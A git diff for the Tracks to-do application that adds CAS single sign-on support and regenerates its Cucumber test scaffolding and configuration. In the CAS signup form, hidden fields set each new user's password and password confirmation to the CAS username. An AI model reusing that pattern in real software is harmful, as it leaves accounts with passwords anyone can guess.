 <%= link_to(image_tag( 'blank.png', :width=>'16', :height=>'16', :border=>'0' ), "#", {:class => 'show_notes', :title => 'Show notes'}) %>
 
 <div class="todo_notes" id="<%= dom_id(item, 'notes') %>" style="display:none">
-  <%= sanitize(markdown( auto_link(item.notes)) ) %>
+  <%= format_note(item.notes) %>
 </div>
\ No newline at end of file
diff --git a/app/views/todos/create.js.rjs b/app/views/todos/create.js.rjs
index 77a3be5a..597ba418 100644
--- a/app/views/todos/create.js.rjs
+++ b/app/views/todos/create.js.rjs
@@ -17,7 +17,7 @@ if @saved
     if @new_context_created
       page.insert_html :top, 'display_box', :partial => 'contexts/context', :locals => { :context => @todo.context, :collapsible => true }
     else
-      page.call "todoItems.ensureVisibleWithEffectAppear", "c#{@todo.context_id}" if source_view_is_one_of(:todo, :deferred)
+      page.call "todoItems.ensureVisibleWithEffectAppear", "c#{@todo.context_id}" if source_view_is_one_of(:todo, :deferred, :tag)
       page.insert_html :bottom, item_container_id(@todo), :partial => 'todos/todo', :locals => { :todo => @todo, :parent_container_type => parent_container_type, :source_view => @source_view }
       page.visual_effect :highlight, dom_id(@todo), :duration => 3
       page[empty_container_msg_div_id].hide unless empty_container_msg_div_id.nil?
diff --git a/app/views/todos/new.m.erb b/app/views/todos/new.m.erb
index 361e223d..1e1e4ea7 100644
--- a/app/views/todos/new.m.erb
+++ b/app/views/todos/new.m.erb
@@ -1,5 +1,5 @@
-<% form_tag formatted_todos_path(:m), :method => :post do %>
+<% form_tag todos_path(:format => 'm'), :method => :post do %>
   <%= render :partial => 'edit_mobile' %>
   <p><input type="submit" value="Create" tabindex="12" accesskey="#" /></p>
 <% end -%>
-<%= link_to "Back", @return_path %>
\ No newline at end of file
+<%= link_to "Back", @return_path %>
diff --git a/app/views/todos/remove_predecessor.js.rjs b/app/views/todos/remove_predecessor.js.rjs
index 74f639c7..734d24a6 100644
--- a/app/views/todos/remove_predecessor.js.rjs
+++ b/app/views/todos/remove_predecessor.js.rjs
@@ -9,6 +9,8 @@ if @removed
   # update display if pending->active
   if @successor.active?
       page[@successor].remove unless source_view_is_one_of(:todo, :context)
+      page[empty_container_msg_div_id].hide unless empty_container_msg_div_id.nil?
+      page.call "todoItems.ensureVisibleWithEffectAppear", "c#{@successor.context_id}"
       page.insert_html :bottom, item_container_id(@successor), :partial => 'todos/todo', :locals => { 
         :todo => @successor, :parent_container_type => parent_container_type }
       page.visual_effect :highlight, dom_id(@successor, 'line'), {'startcolor' => "'#99ff99'"}
diff --git a/app/views/todos/show.m.erb b/app/views/todos/show.m.erb
index 004b94f6..e8105669 100644
--- a/app/views/todos/show.m.erb
+++ b/app/views/todos/show.m.erb
@@ -1,4 +1,4 @@
-<% form_tag formatted_todo_path(@todo, :m), :method => :put do %>
+<% form_tag todo_path(@todo, :format => 'm'), :method => :put do %>
   <%= render :partial => 'edit_mobile', :locals => { :parent_container_type => "show_mobile" } %>
   <p><input type="submit" value="Update" tabindex="6" accesskey="#" /></p>
 <% end -%>
diff --git a/app/views/todos/toggle_check.js.rjs b/app/views/todos/toggle_check.js.rjs
index bd2ff2b6..b1e24e29 100644
--- a/app/views/todos/toggle_check.js.rjs
+++ b/app/views/todos/toggle_check.js.rjs
@@ -20,7 +20,7 @@ if @saved
     end
     
     # remove container if empty
-    if @remaining_in_context == 0 && source_view_is(:todo)
+    if @remaining_in_context == 0 && source_view_is_one_of(:todo, :tag)
       page.visual_effect :fade, "c"+@todo.context.id.to_s, :duration => 0.4
     end
 
diff --git a/app/views/users/new.html.erb b/app/views/users/new.html.erb
index fa0c30fd..08bfa3f4 100644
--- a/app/views/users/new.html.erb
+++ b/app/views/users/new.html.erb
@@ -8,11 +8,22 @@
   <h3><%= @heading -%></h3>
 
   <table>
+	<%if Tracks::Config.auth_schemes.include?('cas') && session[:cas_user]%>
+        <tr>
+      <td><label for="user_login">With your CAS username:</label></td>
+      <td> "<%= session[:cas_user]%>"  </td>
+      <td>
+        <%= hidden_field "user", "login",                   :value => session[:cas_user] %>
+        <%= hidden_field "user", "password",                :value => session[:cas_user] %>
+        <%= hidden_field "user", "password_confirmation",   :value => session[:cas_user] %>
+        <%= hidden_field"user", "auth_type",                :value => "cas" %></td>
+    </tr>
+	<%else%>
     <tr>
       <td><label for="user_login">Desired login:</label></td>
       <td> <%= text_field "user", "login", :size => 20 %></td>
     </tr>
-    <tr>
+	<tr>
       <td><label for="user_password">Choose password:</label></td>
       <td><%= password_field "user", "password", :size => 20 %></td>
     </tr>
@@ -20,6 +31,11 @@
       <td><label for="user_password_confirmation">Confirm password:</label></td>
       <td><%= password_field "user", "password_confirmation", :size => 20 %></td>
     </tr>
+    <tr>
+      <td><label for="user_auth_type">Authentication Type:</label></td>
+      <td><%=  select("user", "auth_type", @auth_types, { :include_blank => false })%></td>
+    </tr>
+    <%end%>
     <tr>
       <td></td>
       <td><input type="submit" id="signup" value="Signup &#187;" class="primary" /></td>
diff --git a/config/boot.rb b/config/boot.rb
index 0a516880..dd5e3b69 100644
--- a/config/boot.rb
+++ b/config/boot.rb
@@ -44,6 +44,7 @@ module Rails
     def load_initializer
       require "#{RAILS_ROOT}/vendor/rails/railties/lib/initializer"
       Rails::Initializer.run(:install_gem_spec_stubs)
+      Rails::GemDependency.add_frozen_gem_path
     end
   end
 
@@ -81,8 +82,8 @@ module Rails
       end
 
       def load_rubygems
+        min_version = '1.3.2'
         require 'rubygems'
-        min_version = '1.3.1'
         unless rubygems_version >= min_version
           $stderr.puts %Q(Rails requires RubyGems >= #{min_version} (you have #{rubygems_version}). Please `gem update --system` and try again.)
           exit 1
diff --git a/config/cucumber.yml b/config/cucumber.yml
new file mode 100644
index 00000000..c4d32843
--- /dev/null
+++ b/config/cucumber.yml
@@ -0,0 +1,8 @@
+<%
+rerun = File.file?('rerun.txt') ? IO.read('rerun.txt') : ""
+rerun_opts = rerun.to_s.strip.empty? ? "--format progress features" : "--format #{ENV['CUCUMBER_FORMAT'] || 'pretty'} #{rerun}"
+std_opts = "#{rerun_opts} --format rerun --out rerun.txt --strict --tags ~@wip"
+%>
+default: <%= std_opts %> --tags ~@selenium
+selenium: <%= std_opts %> --tags @selenium
+wip: --tags @wip:3 --wip features
diff --git a/config/environment.rb b/config/environment.rb
index f4ef6771..0b26e5eb 100644
--- a/config/environment.rb
+++ b/config/environment.rb
@@ -17,15 +17,12 @@ end
 Rails::Initializer.run do |config|
   # Skip frameworks you're not going to use
   # config.frameworks -= [ :action_web_service, :action_mailer ]
-  config.frameworks += [ :action_web_service]
-  config.action_web_service = Rails::OrderedOptions.new
   config.load_paths += %W( #{RAILS_ROOT}/app/apis )
 
   config.gem "highline"
   config.gem "RedCloth"
-  # Need to do rspec here and not in test.rb. Needed for rake to work which loads
-  # the rspec.task file
-  config.gem "rspec", :lib => false, :version => ">=1.2.2"
+  config.gem "soap4r", :lib => false
+  config.gem 'datanoise-actionwebservice', :lib => 'actionwebservice'
 
   config.action_controller.use_accept_header = true
 
@@ -61,9 +58,13 @@ Rails::Initializer.run do |config|
   # allow other protocols in urls for sanitzer. Add to your liking, for example
   # config.action_view.sanitized_allowed_protocols = 'onenote', 'blah', 'proto'
   # to enable "link":onenote://... or "link":blah://... hyperlinks
-  config.action_view.sanitized_allowed_protocols = 'onenote'
+  config.action_view.sanitized_allowed_protocols = 'onenote', 'message'
 
   # See Rails::Configuration for more options
+  if ( SITE_CONFIG['authentication_schemes'].include? 'cas')
+    #requires rubycas-client gem to be installed
+    config.gem "rubycas-client", :lib => 'casclient'
+  end
 end
 
 # Add new inflection rules using the following format
@@ -99,6 +100,17 @@ if ( SITE_CONFIG['authentication_schemes'].include? 'open_id')
   OpenID::Util.logger = RAILS_DEFAULT_LOGGER
 end
 
+if ( SITE_CONFIG['authentication_schemes'].include? 'cas')
+  #requires rubycas-client gem to be installed
+  if defined? CASClient
+    require 'casclient/frameworks/rails/filter'
+    CASClient::Frameworks::Rails::Filter.configure(
+        :cas_base_url => SITE_CONFIG['cas_server'] ,
+        :cas_server_logout => SITE_CONFIG['cas_server_logout']
+      )
+  end
+end
+
 tracks_version='1.8devel'
 # comment out next two lines if you do not want (or can not) the date of the
 # last git commit in the footer
diff --git a/config/environments/cucumber.rb b/config/environments/cucumber.rb
new file mode 100644
index 00000000..26c08a08
--- /dev/null
+++ b/config/environments/cucumber.rb
@@ -0,0 +1,29 @@
+# Edit at your own peril - it's recommended to regenerate this file
+# in the future when you upgrade to a newer version of Cucumber.
+
+# IMPORTANT: Setting config.cache_classes to false is known to
+# break Cucumber's use_transactional_fixtures method.
+# For more information see https://rspec.lighthouseapp.com/projects/16211/tickets/165
+config.cache_classes = true
+
+# Log error messages when you accidentally call methods on nil.
+config.whiny_nils = true
+
+# Show full error reports and disable caching
+config.action_controller.consider_all_requests_local = true
+config.action_controller.perform_caching             = false
+
+# Disable request forgery protection in test environment
+config.action_controller.allow_forgery_protection    = false
+
+# Tell Action Mailer not to deliver emails to the real world.
+# The :test delivery method accumulates sent emails in the
+# ActionMailer::Base.deliveries array.
+config.action_mailer.delivery_method = :test
+
+config.gem 'cucumber-rails',   :lib => false, :version => '>=0.2.3' unless File.directory?(File.join(Rails.root, 'vendor/plugins/cucumber-rails'))
+config.gem 'database_cleaner', :lib => false, :version => '>=0.2.3' unless File.directory?(File.join(Rails.root, 'vendor/plugins/database_cleaner'))
+config.gem 'webrat',           :lib => false, :version => '>=0.6.0' unless File.directory?(File.join(Rails.root, 'vendor/plugins/webrat'))
+config.gem 'rspec',            :lib => false, :version => '>=1.2.9' unless File.directory?(File.join(Rails.root, 'vendor/plugins/rspec'))
+config.gem 'rspec-rails',      :lib => false, :version => '>=1.2.9' unless File.directory?(File.join(Rails.root, 'vendor/plugins/rspec-rails'))
+
diff --git a/config/environments/test.rb b/config/environments/test.rb
index 7b5f9718..f03567bd 100644
--- a/config/environments/test.rb
+++ b/config/environments/test.rb
@@ -24,7 +24,7 @@ config.action_controller.allow_forgery_protection    = false
 # See http://groups.google.com/group/rubyonrails-talk/browse_thread/thread/5519ca7fd4dde3c1
 class ActionController::RackRequest
   DEFAULT_SESSION_OPTIONS = {
-    :database_manager => CGI::Session::MemoryStore, # store data in memory
+    #:database_manager => CGI::Session::MemoryStore, # store data in memory
     :prefix           => "ruby_sess.",    # prefix session file names
     :session_path     => "/",             # available to all paths in app
     :session_key      => "_session_id",
@@ -50,10 +50,7 @@ config.gem "flexmock"
 config.gem "ZenTest", :lib => "zentest", :version => ">=4.0.0"
 config.gem "hpricot"
 config.gem "hoe"
-
-# config.gem for rspec is in environment.rb. Needed for rake to work which loads
-# the rspec.task file
+config.gem "rspec", :lib => false, :version => ">= 1.2.2"
 config.gem "rspec-rails", :lib => false, :version => ">=1.2.2"
 config.gem "webrat", :lib => false, :version => ">=0.4.3"
-config.gem "cucumber", :lib => false, :version => ">=0.3.0"
 config.gem "thoughtbot-factory_girl", :lib => "factory_girl", :source => "http://gems.github.com"
diff --git a/config/initializers/core_ext.rb b/config/initializers/core_ext.rb
deleted file mode 100644
index 507a0cf3..00000000
--- a/config/initializers/core_ext.rb
+++ /dev/null
@@ -1,25 +0,0 @@
-# See test_url_with_slash_in_query_string_are_parsed_correctly in test/functional/todos_controller_test.rb
-# and http://blog.swivel.com/code/2009/06/rails-auto_link-and-certain-query-strings.html
-module ActionView::Helpers::TextHelper
-  remove_const :AUTO_LINK_RE
-  AUTO_LINK_RE = %r{
-              (                          # leading text
-                <\w+.*?>|                # leading HTML tag, or
-                [^=!:'"/]|               # leading punctuation, or
-                ^                        # beginning of line
-              )
-              (
-                (?:https?://)|           # protocol spec, or
-                (?:www\.)                # www.*
-              )
-              (
-                [-\w]+                   # subdomain or domain
-                (?:\.[-\w]+)*            # remaining subdomains or domain
-                (?::\d+)?                # port
-                (?:/(?:[~\w\+@%=\(\)-]|(?:[,.;:'][^\s$]))*)* # path
-                (?:\?[\w\+@%&=.;:/-]+)?     # query string
-                (?:\#[\w\-]*)?           # trailing anchor
-              )
-              ([[:punct:]]|<|$|)       # trailing text
-             }x
-end
diff --git a/config/routes.rb b/config/routes.rb
index aa44b788..805b92af 100644
--- a/config/routes.rb
+++ b/config/routes.rb
@@ -1,6 +1,7 @@
 ActionController::Routing::Routes.draw do |map|
   map.with_options :controller => 'login' do |login|
     login.login 'login', :action => 'login'
+    login.login_cas 'login_cas', :action => 'login_cas'
     login.formatted_login 'login.:format', :action => 'login'
     login.logout 'logout', :action => 'logout'
     login.formatted_logout 'logout.:format', :action => 'logout'
diff --git a/config/site.yml.tmpl b/config/site.yml.tmpl
index 683a2d21..91389652 100644
--- a/config/site.yml.tmpl
+++ b/config/site.yml.tmpl
@@ -9,6 +9,17 @@ authentication_schemes:
   - "database"
   # - "ldap"
   # - "open_id"
+  # - "cas"
+
+
+#set the prefered authentication scheme to display first on the login page
+#prefered_auth: database
+
+
+# Uncomment if using cas
+#cas_server: "https://cas.demo.edu/cas"
+#cas_server_logout: "https://cas.demo.edu/cas/logout"
+
 
 
 # You''ll probably want to change this to the time zone of the computer where Tracks is running
diff --git a/features/notes_manage.feature b/features/notes_manage.feature
index 62282d0c..bf4be120 100644
--- a/features/notes_manage.feature
+++ b/features/notes_manage.feature
@@ -24,7 +24,7 @@ Feature: View, add, remove notes
     And I should see note "My Note A" on the notes page
     Then the badge should show 1
 
-  @needsjs
+  @selenium
   Scenario: Delete note from notes page
     Given I have logged in as "testuser" with password "secret"
     And I have a project "Pass Final Exam" with 2 notes
@@ -33,7 +33,7 @@ Feature: View, add, remove notes
     Then the first note should disappear
     Then the badge should show 1
 
-  @needsjs
+  @selenium
   Scenario: Link to note
     Given I have logged in as "testuser" with password "secret"
     And I have a project "Pass Final Exam" with 1 note
@@ -41,7 +41,7 @@ Feature: View, add, remove notes
     And I click the icon next to the note
     Then I should see the note text
     
-  @needsjs
+  @selenium
   Scenario: Toggle notes 
     Given I have logged in as "testuser" with password "secret"
     And I have two projects with one note each
diff --git a/features/step_definitions/generic_steps.rb b/features/step_definitions/generic_steps.rb
index 64a6a267..1ef65177 100644
--- a/features/step_definitions/generic_steps.rb
+++ b/features/step_definitions/generic_steps.rb
@@ -1,4 +1,4 @@
-Then "the badge should show (.*)" do |number|
+Then /the badge should show (.*)/ do |number|
   badge = -1
   response.should have_xpath("//span[@id='badge_count']") do |node|
     badge = node.first.content.to_i
diff --git a/features/step_definitions/web_steps.rb b/features/step_definitions/web_steps.rb
new file mode 100644
index 00000000..2996dd6e
--- /dev/null
+++ b/features/step_definitions/web_steps.rb
@@ -0,0 +1,261 @@
+# IMPORTANT: This file is generated by cucumber-rails - edit at your own peril.
+# It is recommended to regenerate this file in the future when you upgrade to a 
+# newer version of cucumber-rails. Consider adding your own code to a new file 
+# instead of editing this one. Cucumber will automatically load all features/**/*.rb
+# files.
+
+
+require 'uri'
+require File.expand_path(File.join(File.dirname(__FILE__), "..", "support", "paths"))
+
+# Commonly used webrat steps
+# http://github.com/brynary/webrat
+
+Given /^(?:|I )am on (.+)$/ do |page_name|
+  visit path_to(page_name)
+end
+
+When /^(?:|I )go to (.+)$/ do |page_name|
+  visit path_to(page_name)
+end
+
+When /^(?:|I )press "([^\"]*)"$/ do |button|
+  click_button(button)
+end
+
+When /^(?:|I )follow "([^\"]*)"$/ do |link|
+  click_link(link)
+end
+
+When /^(?:|I )follow "([^\"]*)" within "([^\"]*)"$/ do |link, parent|
+  click_link_within(parent, link)
+end
+
+When /^(?:|I )fill in "([^\"]*)" with "([^\"]*)"$/ do |field, value|
+  fill_in(field, :with => value)
+end
+
+When /^(?:|I )fill in "([^\"]*)" for "([^\"]*)"$/ do |value, field|
+  fill_in(field, :with => value)
+end
+
+# Use this to fill in an entire form with data from a table. Example:
+#
+#   When I fill in the following:
+#     | Account Number | 5002       |
+#     | Expiry date    | 2009-11-01 |
+#     | Note           | Nice guy   |
+#     | Wants Email?   |            |
+#
+# TODO: Add support for checkbox, select og option
+# based on naming conventions.
+#
+When /^(?:|I )fill in the following:$/ do |fields|
+  fields.rows_hash.each do |name, value|
+    When %{I fill in "#{name}" with "#{value}"}
+  end
+end
+
+When /^(?:|I )select "([^\"]*)" from "([^\"]*)"$/ do |value, field|
+  select(value, :from => field)
+end
+
+# Use this step in conjunction with Rail's datetime_select helper. For example:
+# When I select "December 25, 2008 10:00" as the date and time
+When /^(?:|I )select "([^\"]*)" as the date and time$/ do |time|
+  select_datetime(time)
+end
+
+# Use this step when using multiple datetime_select helpers on a page or
+# you want to specify which datetime to select. Given the following view:
+#   <%= f.label :preferred %><br />
+#   <%= f.datetime_select :preferred %>
+#   <%= f.label :alternative %><br />
+#   <%= f.datetime_select :alternative %>
+# The following steps would fill out the form:
+# When I select "November 23, 2004 11:20" as the "Preferred" date and time
+# And I select "November 25, 2004 10:30" as the "Alternative" date and time
+When /^(?:|I )select "([^\"]*)" as the "([^\"]*)" date and time$/ do |datetime, datetime_label|
+  select_datetime(datetime, :from => datetime_label)
+end
+
+# Use this step in conjunction with Rail's time_select helper. For example:
+# When I select "2:20PM" as the time
+# Note: Rail's default time helper provides 24-hour time-- not 12 hour time. Webrat
+# will convert the 2:20PM to 14:20 and then select it.
+When /^(?:|I )select "([^\"]*)" as the time$/ do |time|
+  select_time(time)
+end
+
+# Use this step when using multiple time_select helpers on a page or you want to
+# specify the name of the time on the form.  For example:
+# When I select "7:30AM" as the "Gym" time
+When /^(?:|I )select "([^\"]*)" as the "([^\"]*)" time$/ do |time, time_label|
+  select_time(time, :from => time_label)
+end
+
+# Use this step in conjunction with Rail's date_select helper.  For example:
+# When I select "February 20, 1981" as the date
+When /^(?:|I )select "([^\"]*)" as the date$/ do |date|
+  select_date(date)
+end
+
+# Use this step when using multiple date_select helpers on one page or
+# you want to specify the name of the date on the form. For example:
+# When I select "April 26, 1982" as the "Date of Birth" date
+When /^(?:|I )select "([^\"]*)" as the "([^\"]*)" date$/ do |date, date_label|
+  select_date(date, :from => date_label)
+end
+
+When /^(?:|I )check "([^\"]*)"$/ do |field|
+  check(field)
+end
+
+When /^(?:|I )uncheck "([^\"]*)"$/ do |field|
+  uncheck(field)
+end
+
+When /^(?:|I )choose "([^\"]*)"$/ do |field|
+  choose(field)
+end
+
+# Adds support for validates_attachment_content_type. Without the mime-type getting
+# passed to attach_file() you will get a "Photo file is not one of the allowed file types."
+# error message 
+When /^(?:|I )attach the file "([^\"]*)" to "([^\"]*)"$/ do |path, field|
+  type = path.split(".")[1]
+
+  case type
+  when "jpg"
+    type = "image/jpg" 
+  when "jpeg"
+    type = "image/jpeg" 
+  when "png"
+    type = "image/png" 
+  when "gif"
+    type = "image/gif"
+  end
+  
+  attach_file(field, path, type)
+end
+
+Then /^(?:|I )should see "([^\"]*)"$/ do |text|
+  if defined?(Spec::Rails::Matchers)
+    response.should contain(text)
+  else
+    assert_contain text
+  end
+end
+
+Then /^(?:|I )should see "([^\"]*)" within "([^\"]*)"$/ do |text, selector|
+  within(selector) do |content|
+    if defined?(Spec::Rails::Matchers)
+      content.should contain(text)
+    else
+      assert content.include?(text)
+    end
+  end
+end
+
+Then /^(?:|I )should see \/([^\/]*)\/$/ do |regexp|
+  regexp = Regexp.new(regexp)
+  if defined?(Spec::Rails::Matchers)
+    response.should contain(regexp)
+  else
+    assert_contain regexp
+  end
+end
+
+Then /^(?:|I )should see \/([^\/]*)\/ within "([^\"]*)"$/ do |regexp, selector|
+  within(selector) do |content|
+    regexp = Regexp.new(regexp)
+    if defined?(Spec::Rails::Matchers)
+      content.should contain(regexp)
+    else
+      assert content =~ regexp
+    end
+  end
+end
+
+Then /^(?:|I )should not see "([^\"]*)"$/ do |text|
+  if defined?(Spec::Rails::Matchers)
+    response.should_not contain(text)
+  else
+    assert_not_contain text
+  end
+end
+
+Then /^(?:|I )should not see "([^\"]*)" within "([^\"]*)"$/ do |text, selector|
+  within(selector) do |content|
+    if defined?(Spec::Rails::Matchers)
+        content.should_not contain(text)
+    else
+        assert !content.include?(text)
+    end
+  end
+end
+
+Then /^(?:|I )should not see \/([^\/]*)\/$/ do |regexp|
+  regexp = Regexp.new(regexp)
+  if defined?(Spec::Rails::Matchers)
+    response.should_not contain(regexp)
+  else
+    assert_not_contain regexp
+  end
+end
+
+Then /^(?:|I )should not see \/([^\/]*)\/ within "([^\"]*)"$/ do |regexp, selector|
+  within(selector) do |content|
+    regexp = Regexp.new(regexp)
+    if defined?(Spec::Rails::Matchers)
+      content.should_not contain(regexp)
+    else
+      assert content !~ regexp
+    end
+  end
+end
+
+Then /^the "([^\"]*)" field should contain "([^\"]*)"$/ do |field, value|
+  if defined?(Spec::Rails::Matchers)
+    field_labeled(field).value.should =~ /#{value}/
+  else
+    assert_match(/#{value}/, field_labeled(field).value)
+  end
+end
+
+Then /^the "([^\"]*)" field should not contain "([^\"]*)"$/ do |field, value|
+  if defined?(Spec::Rails::Matchers)
+    field_labeled(field).value.should_not =~ /#{value}/
+  else
+    assert_no_match(/#{value}/, field_labeled(field).value)
+  end
+end
+
+Then /^the "([^\"]*)" checkbox should be checked$/ do |label|
+  if defined?(Spec::Rails::Matchers)
+    field_labeled(label).should be_checked
+  else
+    assert field_labeled(label).checked?
+  end
+end
+
+Then /^the "([^\"]*)" checkbox should not be checked$/ do |label|
+  if defined?(Spec::Rails::Matchers)
+    field_labeled(label).should_not be_checked
+  else
+    assert !field_labeled(label).checked?
+  end
+end
+
+Then /^(?:|I )should be on (.+)$/ do |page_name|
+  current_path = URI.parse(current_url).select(:path, :query).compact.join('?')
+  if defined?(Spec::Rails::Matchers)
+    current_path.should == path_to(page_name)
+  else
+    assert_equal path_to(page_name), current_path
+  end
+end
+
+Then /^show me the page$/ do
+  save_and_open_page
+end
\ No newline at end of file
diff --git a/features/step_definitions/webrat_steps.rb b/features/step_definitions/webrat_steps.rb
deleted file mode 100644
index 0a0c48a6..00000000
--- a/features/step_definitions/webrat_steps.rb
+++ /dev/null
@@ -1,115 +0,0 @@
-require File.expand_path(File.join(File.dirname(__FILE__), "..", "support", "paths"))
-
-# Commonly used webrat steps
-# http://github.com/brynary/webrat
-
-Given /^I am on (.+)$/ do |page_name|
-  visit path_to(page_name)
-end
-
-When /^I go to (.+)$/ do |page_name|
-  visit path_to(page_name)
-end
-
-When /^I press "([^\"]*)"$/ do |button|
-  click_button(button)
-end
-
-When /^I follow "([^\"]*)"$/ do |link|
-  click_link(link)
-end
-
-When /^I fill in "([^\"]*)" with "([^\"]*)"$/ do |field, value|
-  fill_in(field, :with => value) 
-end
-
-When /^I select "([^\"]*)" from "([^\"]*)"$/ do |value, field|
-  select(value, :from => field) 
-end
-
-# Use this step in conjunction with Rail's datetime_select helper. For example:
-# When I select "December 25, 2008 10:00" as the date and time 
-When /^I select "([^\"]*)" as the date and time$/ do |time|
-  select_datetime(time)
-end
-
-# Use this step when using multiple datetime_select helpers on a page or 
-# you want to specify which datetime to select. Given the following view:
-#   <%= f.label :preferred %><br />
-#   <%= f.datetime_select :preferred %>
-#   <%= f.label :alternative %><br />
-#   <%= f.datetime_select :alternative %>
-# The following steps would fill out the form:
-# When I select "November 23, 2004 11:20" as the "Preferred" data and time
-# And I select "November 25, 2004 10:30" as the "Alternative" data and time
-When /^I select "([^\"]*)" as the "([^\"]*)" date and time$/ do |datetime, datetime_label|
-  select_datetime(datetime, :from => datetime_label)
-end
-
-# Use this step in conjunction with Rail's time_select helper. For example:
-# When I select "2:20PM" as the time
-# Note: Rail's default time helper provides 24-hour time-- not 12 hour time. Webrat
-# will convert the 2:20PM to 14:20 and then select it. 
-When /^I select "([^\"]*)" as the time$/ do |time|
-  select_time(time)
-end
-
-# Use this step when using multiple time_select helpers on a page or you want to
-# specify the name of the time on the form.  For example:
-# When I select "7:30AM" as the "Gym" time
-When /^I select "([^\"]*)" as the "([^\"]*)" time$/ do |time, time_label|
-  select_time(time, :from => time_label)
-end
-
-# Use this step in conjunction with Rail's date_select helper.  For example:
-# When I select "February 20, 1981" as the date
-When /^I select "([^\"]*)" as the date$/ do |date|
-  select_date(date)
-end
-
-# Use this step when using multiple date_select helpers on one page or
-# you want to specify the name of the date on the form. For example:
-# When I select "April 26, 1982" as the "Date of Birth" date
-When /^I select "([^\"]*)" as the "([^\"]*)" date$/ do |date, date_label|
-  select_date(date, :from => date_label)
-end
-
-When /^I check "([^\"]*)"$/ do |field|
-  check(field) 
-end
-
-When /^I uncheck "([^\"]*)"$/ do |field|
-  uncheck(field) 
-end
-
-When /^I choose "([^\"]*)"$/ do |field|
-  choose(field)
-end
-
-When /^I attach the file at "([^\"]*)" to "([^\"]*)"$/ do |path, field|
-  attach_file(field, path)
-end
-
-Then /^I should see "([^\"]*)"$/ do |text|
-  response.should contain(text)
-end
-
-Then /^I should not see "([^\"]*)"$/ do |text|
-  response.should_not contain(text)
-end
-
-Then /^the "([^\"]*)" field should contain "([^\"]*)"$/ do |field, value|
-      field_labeled(field).value.should =~ /#{value}/
-  end
-
-Then /^the "([^\"]*)" field should not contain "([^\"]*)"$/ do |field, value|
-      field_labeled(field).value.should_not =~ /#{value}/
-  end
-    
-Then /^the "([^\"]*)" checkbox should be checked$/ do |label|
-  field_labeled(label).should be_checked
-end
-
-Then /^I should be on (.+)$/ do |page_name|
-  URI.parse(current_url).path.should == path_to(page_name)
-end
diff --git a/features/support/env.rb b/features/support/env.rb
index a8885116..74765593 100644
--- a/features/support/env.rb
+++ b/features/support/env.rb
@@ -1,17 +1,57 @@
-# Sets up the Rails environment for Cucumber
-ENV["RAILS_ENV"] ||= "test"
+# IMPORTANT: This file is generated by cucumber-rails - edit at your own peril.
+# It is recommended to regenerate this file in the future when you upgrade to a 
+# newer version of cucumber-rails. Consider adding your own code to a new file 
+# instead of editing this one. Cucumber will automatically load all features/**/*.rb
+# files.
+
+ENV["RAILS_ENV"] ||= "cucumber"
 require File.expand_path(File.dirname(__FILE__) + '/../../config/environment')
+
+require 'cucumber/formatter/unicode' # Remove this line if you don't want Cucumber Unicode support
+require 'cucumber/rails/rspec'
 require 'cucumber/rails/world'
-require 'cucumber/formatter/unicode' # Comment out this line if you don't want Cucumber Unicode support
-Cucumber::Rails.use_transactional_fixtures
-Cucumber::Rails.bypass_rescue # Comment out this line if you want Rails own error handling 
-                              # (e.g. rescue_action_in_public / rescue_responses / rescue_from)
+require 'cucumber/rails/active_record'
+require 'cucumber/web/tableish'
 
 require 'webrat'
+require 'webrat/core/matchers'
+# require 'cucumber/webrat/element_locator' # Deprecated in favor of #tableish - remove this line if you don't use #element_at or #table_at
 
 Webrat.configure do |config|
   config.mode = :rails
+  config.open_error_files = false # Set to true if you want error pages to pop up in the browser
 end
 
-require 'cucumber/rails/rspec'
-require 'webrat/core/matchers'
\ No newline at end of file
+
+# If you set this to false, any error raised from within your app will bubble 
+# up to your step definition and out to cucumber unless you catch it somewhere
+# on the way. You can make Rails rescue errors and render error pages on a
+# per-scenario basis by tagging a scenario or feature with the @allow-rescue tag.
+#
+# If you set this to true, Rails will rescue all errors and render error
+# pages, more or less in the same way your application would behave in the
+# default production environment. It's not recommended to do this for all
+# of your scenarios, as this makes it hard to discover errors in your application.
+ActionController::Base.allow_rescue = false
+
+# If you set this to true, each scenario will run in a database transaction.
+# You can still turn off transactions on a per-scenario basis, simply tagging 
+# a feature or scenario with the @no-txn tag. If you are using Capybara,
+# tagging with @culerity or @javascript will also turn transactions off.
+#
+# If you set this to false, transactions will be off for all scenarios,
+# regardless of whether you use @no-txn or not.
+#
+# Beware that turning transactions off will leave data in your database 
+# after each scenario, which can lead to hard-to-debug failures in 
+# subsequent scenarios. If you do this, we recommend you create a Before
+# block that will explicitly put your database in a known state.
+Cucumber::Rails::World.use_transactional_fixtures = true
+
+# How to clean your database when transactions are turned off. See
+# http://github.com/bmabey/database_cleaner for more info.
+require 'database_cleaner'
+DatabaseCleaner.strategy = :truncation
+
+require 'factory_girl'
+Dir.glob(File.join(File.dirname(__FILE__), '../../spec/factories/*.rb')).each {|f| require f }
diff --git a/lib/tasks/cucumber.rake b/lib/tasks/cucumber.rake
index f3fa7afe..ab04dc88 100644
--- a/lib/tasks/cucumber.rake
+++ b/lib/tasks/cucumber.rake
@@ -1,15 +1,47 @@
-$LOAD_PATH.unshift(RAILS_ROOT + '/vendor/plugins/cucumber/lib') if File.directory?(RAILS_ROOT + '/vendor/plugins/cucumber/lib')
+# IMPORTANT: This file is generated by cucumber-rails - edit at your own peril.
+# It is recommended to regenerate this file in the future when you upgrade to a 
+# newer version of cucumber-rails. Consider adding your own code to a new file 
+# instead of editing this one. Cucumber will automatically load all features/**/*.rb
+# files.
+
+
+unless ARGV.any? {|a| a =~ /^gems/} # Don't load anything when running the gems:* tasks
+
+vendored_cucumber_bin = Dir["#{RAILS_ROOT}/vendor/{gems,plugins}/cucumber*/bin/cucumber"].first
+$LOAD_PATH.unshift(File.dirname(vendored_cucumber_bin) + '/../lib') unless vendored_cucumber_bin.nil?
 
 begin
   require 'cucumber/rake/task'
 
-  Cucumber::Rake::Task.new(:features) do |t|
-    t.cucumber_opts = "--format pretty"
+  namespace :cucumber do
+    Cucumber::Rake::Task.new({:ok => 'db:test:prepare'}, 'Run features that should pass') do |t|
+      t.binary = vendored_cucumber_bin # If nil, the gem's binary is used.
+      t.fork = true # You may get faster startup if you set this to false
+      t.profile = 'default'
+    end
+
+    Cucumber::Rake::Task.new({:wip => 'db:test:prepare'}, 'Run features that are being worked on') do |t|
+      t.binary = vendored_cucumber_bin
+      t.fork = true # You may get faster startup if you set this to false
+      t.profile = 'wip'
+    end
+
+    desc 'Run all features'
+    task :all => [:ok, :wip]
+  end
+  desc 'Alias for cucumber:ok'
+  task :cucumber => 'cucumber:ok'
+
+  task :default => :cucumber
+
+  task :features => :cucumber do
